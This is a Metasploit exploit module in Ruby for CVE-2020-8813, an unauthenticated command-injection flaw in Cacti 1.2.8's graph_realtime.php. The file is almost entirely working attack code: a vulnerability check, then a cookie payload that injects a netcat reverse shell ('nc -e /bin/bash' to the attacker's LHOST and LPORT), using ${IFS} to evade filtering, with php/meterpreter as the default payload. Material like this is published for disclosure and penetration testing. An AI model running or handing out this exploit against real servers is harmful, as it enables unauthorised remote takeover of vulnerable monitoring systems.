# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
      'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to 
        execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has 
        the graph real-time privilege.},
      'Author' =>
        [
          'Lucas Amorim ' # MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '2020-8813']
        ],
      'DisclosureDate' => 'Feb 21 2020',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('RPATH', [ false, "path to cacti", "" ])
        ])

        deregister_options('VHOST')
  end

  def check
    res = send_request_raw(
      'method' => 'GET',
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
    )

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def send_payload()
    exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
    send_request_raw(
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
      'method' => 'GET',
      'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
    )
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      print_good("Target seems to be a vulnerable")
      send_payload()
    else
      print_error("Target does not seem to be vulnerable. Will exit now...")
    end
  end
end